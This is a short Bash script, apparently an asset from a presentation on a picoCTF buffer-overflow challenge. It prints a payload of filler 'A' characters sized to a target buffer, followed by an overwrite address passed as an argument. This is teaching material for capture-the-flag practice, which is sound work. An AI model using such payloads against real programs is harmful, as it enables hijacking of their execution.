bof_presentation/assets/picoctf/buffer_overflow_1/payload.sh

18 lines
292 B
Bash
Raw Normal View History

2022-09-28 19:22:48 +02:00
#!/usr/bin/env bash
function repeat() {
n="${1}"
string="${2}"
printf "%${n}s" | tr " " "${string}"
}
function main() {
buffer_size="${1}"
address="${2}"
filler="$(repeat "${buffer_size}" A)"
newline="\n"
printf "%s%b%b" "${filler}" "${address}" "${newline}"
}
main "${@}"